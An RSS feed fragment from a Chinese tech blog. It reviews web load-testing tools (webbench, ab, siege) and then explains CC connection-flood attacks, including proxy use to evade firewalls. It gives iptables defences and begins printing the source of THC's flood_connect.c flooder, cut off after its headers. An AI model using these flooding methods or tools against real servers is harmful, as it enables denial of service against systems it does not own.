msecs&lt;/p&gt;&lt;p&gt;，最大的响应时间44.243 msecs，最小的响应时间24.488 msecs&lt;br /&gt;5．msecs/first-response: 63.5362 mean, 81.624 max, 57.803 min&lt;br /&gt;6、HTTP response codes: code 200 -- 49 说明打开响应页面的类型，如果403的类型过多，那可能&lt;/p&gt;&lt;p&gt;要注意是否系统遇到了瓶颈。&lt;br /&gt;特殊说明：&lt;br /&gt;测试结果中主要的指标是 fetches/sec、msecs/connect 这个选项，即服务器每秒能够响应的查询次数，&lt;/p&gt;&lt;p&gt;用这个指标来衡量性能。似乎比 apache的ab准确率要高一些，也更有说服力一些。&lt;br /&gt;Qpt-每秒响应用户数和response time，每连接响应用户时间。&lt;br /&gt;测试的结果主要也是看这两个值。当然仅有这两个指标并不能完成对性能的分析，我们还需要对服务器的&lt;/p&gt;&lt;p&gt;cpu、men进行分析，才能得出结论&lt;/p&gt;&lt;p&gt;&lt;strong&gt;二、webbench&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;webbench是Linux下的一个网站压力测试工具，最多可以模拟3万个并发连接去测试网站的负载能力。下载&lt;/p&gt;&lt;p&gt;地址可以到google搜，我这里给出一个&lt;br /&gt;下载地址：&lt;a href=&quot;http://soft.vpser.net/test/webbench/webbench-1.5.tar.gz&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://soft.vpser.net/test/webbench/webbench-1.5.tar.gz&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br /&gt;这个程序更小，解压后不到50K，呵呵&lt;br /&gt;安装非常简单&lt;br /&gt;#tar zxvf webbench-1.5.tar.gz&lt;br /&gt;#cd webbench-1.5&lt;br /&gt;#make &amp;amp;&amp;amp; make install&lt;br /&gt;会在当前目录生成webbench可执行文件，直接可以使用了&lt;/p&gt;&lt;p&gt;用法：&lt;/p&gt;&lt;p&gt;webbench -c 并发数 -t 运行测试时间 URL&lt;br /&gt;如：&lt;br /&gt;webbench -c 5000 -t 120 &lt;a href=&quot;http://www.vpser.net/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://www.vpser.net&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;/&lt;/p&gt;&lt;p&gt;&lt;strong&gt;三、ab&lt;/strong&gt;&lt;br /&gt;ab是apache自带的一款功能强大的测试工具&lt;br /&gt;安装了apache一般就自带了，&lt;br /&gt;用法可以查看它的说明&lt;/p&gt;&lt;p&gt;$ ./ab&lt;br /&gt;./ab: wrong number of arguments&lt;br /&gt;Usage: ./ab [options] [http://]hostname[:port]/path&lt;br /&gt;Options are:&lt;br /&gt;-n requests Number of requests to perform&lt;br /&gt;-c concurrency Number of multiple requests to make&lt;br /&gt;-t timelimit Seconds to max. wait for responses&lt;br /&gt;-p postfile File containing data to POST&lt;br /&gt;-T content-type Content-type header for POSTing&lt;br /&gt;-v verbosity How much troubleshooting info to print&lt;br /&gt;-w Print out results in HTML tables&lt;br /&gt;-i Use HEAD instead of GET&lt;br /&gt;-x attributes String to insert as table attributes&lt;br /&gt;-y attributes String to insert as tr attributes&lt;br /&gt;-z attributes String to insert as td or th attributes&lt;br /&gt;-C attribute Add cookie, eg. &apos;Apache=1234. (repeatable)&lt;br /&gt;-H attribute Add Arbitrary header line, eg. &apos;Accept-Encoding: gzip&apos;&lt;br /&gt;Inserted after all normal header lines. (repeatable)&lt;br /&gt;-A attribute Add Basic WWW Authentication, the attributes&lt;br /&gt;are a colon separated username and password.&lt;br /&gt;-P attribute Add Basic Proxy Authentication, the attributes&lt;br /&gt;are a colon separated username and password.&lt;br /&gt;-X proxy:port Proxyserver and port number to use&lt;br /&gt;-V Print version number and exit&lt;br /&gt;-k Use HTTP KeepAlive feature&lt;br /&gt;-d Do not show percentiles served table.&lt;br /&gt;-S Do not show confidence estimators and warnings.&lt;br /&gt;-g filename Output collected data to gnuplot format file.&lt;br /&gt;-e filename Output CSV file with percentages served&lt;br /&gt;-h Display usage information (this message)&lt;br /&gt;参数众多，一般我们用到的是-n 和-c&lt;br /&gt;例如：&lt;br /&gt;./ab -c 1000 -n 100 &lt;a href=&quot;http://www.vpser.net/index.php&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://www.vpser.net/index.php&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;这个表示同时处理1000个请求并运行100次index.php文件.&lt;br /&gt;&lt;strong&gt;四、Siege&lt;br /&gt;&lt;/strong&gt;一款开源的压力测试工具，可以根据配置对一个WEB站点进行多用户的并发访问，记录每个用户所有请求过程的相应时间，并在一定数量的并发访问下重复进行。&lt;br /&gt;官方：&lt;a href=&quot;http://www.joedog.org/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://www.joedog.org/&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br /&gt;Siege下载：&lt;a href=&quot;http://soft.vpser.net/test/siege/siege-2.67.tar.gz&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://soft.vpser.net/test/siege/siege-2.67.tar.gz&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br /&gt;解压：&lt;br /&gt;# tar -zxf siege-2.67.tar.gz&lt;br /&gt;进入解压目录：&lt;br /&gt;# cd siege-2.67/&lt;br /&gt;安装：&lt;br /&gt;#./configure ; make&lt;br /&gt;#make install&lt;/p&gt;&lt;p&gt;使用&lt;br /&gt;siege -c 200 -r 10 -f example.url&lt;br /&gt;-c是并发量，-r是重复次数。 url文件就是一个文本，每行都是一个url，它会从里面随机访问的。&lt;/p&gt;&lt;p&gt;example.url内容:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.licess.cn/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://www.licess.cn&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.vpser.net/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://www.vpser.net&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://soft.vpser.net/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#0066cc&quot;&gt;http://soft.vpser.net&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;结果说明&lt;br /&gt;Lifting the server siege… done.&lt;br /&gt;Transactions: 3419263 hits //完成419263次处理&lt;br /&gt;Availability: 100.00 % //100.00 % 成功率&lt;br /&gt;Elapsed time: 5999.69 secs //总共用时&lt;br /&gt;Data transferred: 84273.91 MB //共数据传输84273.91 MB&lt;br /&gt;Response time: 0.37 secs //相应用时1.65秒：显示网络连接的速度&lt;br /&gt;Transaction rate: 569.91 trans/sec //均每秒完成 569.91 次处理：表示服务器后&lt;br /&gt;Throughput: 14.05 MB/sec //平均每秒传送数据&lt;br /&gt;Concurrency: 213.42 //实际最高并发数&lt;br /&gt;Successful transactions: 2564081 //成功处理次数&lt;br /&gt;Failed transactions: 11 //失败处理次数&lt;br /&gt;Longest transaction: 29.04 //每次传输所花最长时间&lt;br /&gt;Shortest transaction: 0.00 //每次传输所花最短时间&lt;/p&gt;</description>
		<guid>http://www.517sou.net/Article/Web-server-performance-and-stress-testing-tools.aspx</guid>
		<trackback:ping>http://www.517sou.net/Article/741/Trackback.ashx</trackback:ping>
		<comments>http://www.517sou.net/Article/Web-server-performance-and-stress-testing-tools.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://www.517sou.net/Article/741/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://www.517sou.net/Article/CC-attack-and-prevention.aspx</link>
		<title>cc攻击设置及其防范</title>
		<author>shanyiwan@live.com()</author>
		<category>技术文摘</category>
		<pubDate>Wed, 07 Dec 2011 09:05:35 GMT</pubDate>
		<description>&lt;p&gt;&lt;b&gt;一、什么是CC攻击：&lt;/b&gt;利用大量代理服务器对目标计算机发起大量连接，导致目标服务器资源枯竭造成拒绝服务。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; 1、攻击原理&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; CC主要是用来攻击页面的。大家都有这样的经历，就是在访问论坛时，如果这个论坛比较大，访问的人比较多，打开页面的速度会比较慢，对不？！一般来说，访问的人越多，论坛的页面越多，数据库就越大，被访问的频率也越高，占用的系统资源也就相当可观，现在知道为什么很多空间服务商都说大家不要上传论坛，聊天室等东西了吧。&lt;br /&gt;一个静态页面不需要服务器多少资源，甚至可以说直接从内存中读出来发给你就可以了，但是论坛就不一样了，我看一个帖子，系统需要到数据库中判断我是否有读读帖子的权限，如果有，就读出帖子里面的内容，显示出来——这里至少访问了2次数据库，如果数据库的体积有200MB大小，系统很可能就要在这200MB大小的数据空间搜索一遍，这需要多少的CPU资源和时间？如果我是查找一个关键字，那么时间更加可观，因为前面的搜索可以限定在一个很小的范围内，比如用户权限只查用户表，帖子内容只查帖子表，而且查到就可以马上停止查询，而搜索肯定会对所有的数据进行一次判断，消耗的时间是相当的大。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; CC就是充分利用了这个特点，模拟多个用户（多少线程就是多少用户）不停的进行访问（访问那些需要大量数据操作，就是需要大量CPU时间的页面）。很多朋友问到，为什么要使用代理呢？因为代理可以有效地隐藏自己的身份，也可以绕开所有的防火墙，因为基本上所有的防火墙都会检测并发的TCP/IP连接数目，超过一定数目一定频率就会被认为是Connection-Flood。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 使用代理攻击还能很好的保持连接，我们这里发送了数据，代理帮我们转发给对方服务器，我们就可以马上断开，代理还会继续保持着和对方连接（我知道的记录是有人利用2000个代理产生了35万并发连接）。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 可能很多朋友还不能很好的理解，我来描述一下吧。我们假设服务器A对Search.asp的处理时间需要0.01S（多线程只是时间分割，对结论没有影响），也就是说他一秒可以保证100个用户的Search请求，服务器允许的最大连接时间为60s，那么我们使用CC模拟120个用户并发连接，那么经过1分钟，服务器的被请求了7200次，处理了6000次，于是剩下了1200个并发连接没有被处理。有的朋友会说：丢连接！丢连接！问题是服务器是按先来后到的顺序丢的，这1200个是在最后10秒的时候发起的，想丢？！还早，经过计算，服务器满负开始丢连接的时候，应该是有7200个并发连接存在队列，然后服务器开始120个/秒的丢连接，我们发动的连接也是120个/秒，服务器永远有处理不完的连接，服务器的CPU 100%并长时间保持，然后丢连接的60秒服务器也判断处理不过来了，新的连接也处理不了，这样服务器达到了超级繁忙状态。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 蝴蝶：我们假设服务器处理Search只用了0.01S，也就是10毫秒（这个速度你可以去各个有开放时间显示的论坛看看），我们使用的线程也只有120，很多服务器的丢连接时间远比60S长，我们的使用线程远比120多，可以想象可怕了吧，而且客户机只要发送了断开，连接的保持是代理做的，而且当服务器收到SQL请求，肯定会进入队列，不论连接是否已经断开，而且服务器是并发的，不是顺序执行，这样使得更多的请求进入内存请求，对服务器负担更大。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 当然，CC也可以利用这里方法对FTP进行攻击，也可以实现TCP-FLOOD，这些都是经过测试有效的。&lt;/p&gt;&lt;p&gt;&lt;b&gt;二、防范&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; 1、解决CC的切入点:&lt;br /&gt;&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1) 大部分的HTTP代理服务器代理源client向服务器发出的数据包带有&amp;quot;X-Forwarded-For&amp;quot;特征。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2) 针对CC攻击非HTTP端口的时候可以通过过滤HTTP请求特有的&amp;quot;GET&amp;quot;特征进行过滤。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3) 对付CC攻击,区别非正常连接要在代理服务器和被攻击的服务器完成三次握手进行数据通讯的时候进行检测。检测出后要及时关闭服务器相应的非正常连接。否则同样可能因死连接过多造成服务器资源枯竭。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4) 限制单位时间内同一请求IP的并发连接数也不失为一种好的办法。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5) 大部分代理服务器会向服务器报露源请求的源IP地址，只不过这个地址经常是反的例如202.96.140.77你收到所的数据包可能变成77.140.96.202，这可能是程序员没有将网络字节序转换成主机字节序放在HTTP请求信息里所致。找出什么IP攻击你解决办法要你自己想。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; 2、以上所讲的不一定能帮助普通用户解决实际问题，以下给普通用户一些简单的解决提示:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1）Linux的iptables可以配置字符串模式匹配,也就是可以利用iptables实现 解决CC的切入点1、2。将linux配置为桥模式实现对被攻击的非linux服务器保护。可以参考下(用IPTables实现字符串模式匹配&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2）很多unix防火墙都带了限制单一ip并发数的功能。例如ipfw&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3）如果是针对WEB网站攻击可以采取一些退让的办法比方说域名转向(把负载交给域名转向服务商)。也可以通过反响代理或者dns轮询提高web服务整体承受能力。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ff0000&quot;&gt;&lt;span&gt;注意：&lt;/span&gt;&lt;/span&gt;字符串匹配本身就是一个开销很大的工作，iptables用来解决CC攻击性能上并不是非常的出色。我可以给一些有开发能力的用户一些提示，以上提及的关键字均出现在三次握手结束后的第四次数据通讯中，且均在TCP数据部分的前255bytes。&lt;/p&gt;&lt;p&gt;&lt;b&gt;3、使用iptables防范CC攻击&lt;/b&gt;&lt;/p&gt;&lt;p&gt;当apache站点受到严重的cc攻击，我们可以用iptables来防止web服务器被CC攻击，实现自动屏蔽IP的功能。 &lt;br /&gt;&lt;b&gt;1．系统要求 &lt;/b&gt;&lt;/p&gt;&lt;p&gt;(1)LINUX 内核版本：2.6.9-42ELsmp或2.6.9-55ELsmp（其它内核版本需要重新编译内核，比较麻烦，但是也是可以实现的）。&lt;/p&gt;&lt;p&gt;(2)iptables版本：1.3.7&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. 安装 &lt;/b&gt;&lt;/p&gt;&lt;p&gt;安装iptables1.3.7和系统内核版本对应的内核模块kernel-smp-modules-connlimit&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. 配置相应的iptables规则 &lt;/b&gt;&lt;/p&gt;&lt;p&gt;示例如下：&lt;/p&gt;&lt;p&gt;&lt;b&gt;(1)控制单个IP的最大并发连接数&lt;br /&gt;&lt;/b&gt;iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j REJECT&lt;/p&gt;&lt;p&gt;#允许单个IP的最大连接数为 30&lt;/p&gt;&lt;p&gt;&lt;b&gt;(2)控制单个IP在一定的时间（比如60秒）内允许新建立的连接数&lt;br /&gt;&lt;/b&gt;iptables -A INPUT -p tcp --dport 80 -m recent&amp;nbsp; --name BAD_HTTP_ACCESS --update --seconds 60&amp;nbsp; --hitcount 30 -j REJECT iptables -A INPUT -p tcp --dport 80 -m recent&amp;nbsp; --name BAD_HTTP_ACCESS --set -j ACCEPT&lt;/p&gt;&lt;p&gt;#单个IP在60秒内只允许最多新建30个连接&lt;/p&gt;&lt;p&gt;&lt;b&gt;4. 验证 &lt;/b&gt;&lt;/p&gt;&lt;p&gt;（1）工具：&lt;a href=&quot;http://www.linuxforum.net/forum/files/417833-flood_connect.TXT&quot; target=&quot;_blank&quot;&gt;flood_connect.c&lt;/a&gt;（用来模拟攻击)&lt;/p&gt;&lt;pre&gt;&lt;ol class=&quot;dp-cpp&quot;&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;/* &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;&amp;nbsp;*&amp;nbsp;Flood&amp;nbsp;Connecter&amp;nbsp;v1.5&amp;nbsp;(c)&amp;nbsp;2002&amp;nbsp;by&amp;nbsp;van&amp;nbsp;Hauser&amp;nbsp;/&amp;nbsp;THC&amp;nbsp;&amp;lt;vh@reptile.rug.ac.be&amp;gt; &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;&amp;nbsp;*&amp;nbsp;http://www.thehackerschoice.com &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;&amp;nbsp;* &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;&amp;nbsp;*&amp;nbsp;Connection&amp;nbsp;flooder,&amp;nbsp;can&amp;nbsp;also&amp;nbsp;send&amp;nbsp;data,&amp;nbsp;keep&amp;nbsp;connections&amp;nbsp;open&amp;nbsp;etc. &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;&amp;nbsp;* &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;&amp;nbsp;*&amp;nbsp;Use&amp;nbsp;allowed&amp;nbsp;only&amp;nbsp;for&amp;nbsp;legal&amp;nbsp;purposes. &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;&amp;nbsp;* &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;&amp;nbsp;*&amp;nbsp;To&amp;nbsp;compile:&amp;nbsp;&amp;nbsp;&amp;nbsp;cc&amp;nbsp;-o&amp;nbsp;flood_connect&amp;nbsp;-O2&amp;nbsp;flood_connect.c &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;&amp;nbsp;*&amp;nbsp;openssl:&amp;nbsp;cc&amp;nbsp;-o&amp;nbsp;flood_connect&amp;nbsp;-O2&amp;nbsp;flood_connect.c&amp;nbsp;-DOPENSSL&amp;nbsp;-lssl&amp;nbsp;-lcrypto &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;&amp;nbsp;* &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;span class=&quot;comment&quot;&gt;&amp;nbsp;*/&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;stdio.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;string.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;netdb.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;netinet/in.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;netinet/tcp.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;sys/types.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;sys/socket.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;sys/stat.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;sys/time.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;sys/resource.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;arpa/inet.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;stdlib.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;unistd.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;fcntl.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#include&amp;nbsp;&amp;lt;signal.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#define&amp;nbsp;PORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;80&amp;nbsp;&amp;nbsp;//&amp;nbsp;change&amp;nbsp;this&amp;nbsp;if&amp;nbsp;you&amp;nbsp;want &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#define&amp;nbsp;UNLIMITED&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;dont&amp;nbsp;change&amp;nbsp;this &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#ifdef&amp;nbsp;OPENSSL &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;&amp;nbsp;#include&amp;nbsp;&amp;lt;openssl/ssl.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;&amp;nbsp;#include&amp;nbsp;&amp;lt;openssl/err.h&amp;gt; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;SSL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*ssl&amp;nbsp;=&amp;nbsp;NULL; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;SSL_CTX&amp;nbsp;*sslContext&amp;nbsp;=&amp;nbsp;NULL; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;RSA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*rsa&amp;nbsp;=&amp;nbsp;NULL; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;RSA&amp;nbsp;*ssl_temp_rsa_cb(SSL&amp;nbsp;*ssl,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;export,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;keylength)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(rsa&amp;nbsp;==&amp;nbsp;NULL) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rsa&amp;nbsp;=&amp;nbsp;RSA_generate_key(512,&amp;nbsp;RSA_F4,&amp;nbsp;NULL,&amp;nbsp;NULL); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&lt;span&gt;&amp;nbsp;rsa; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#endif &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;datatypes&quot;&gt;char&lt;/span&gt;&lt;span&gt;&amp;nbsp;*prg; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;forks&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pids[256]; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;warn&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;keyword&quot;&gt;void&lt;/span&gt;&lt;span&gt;&amp;nbsp;help()&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li 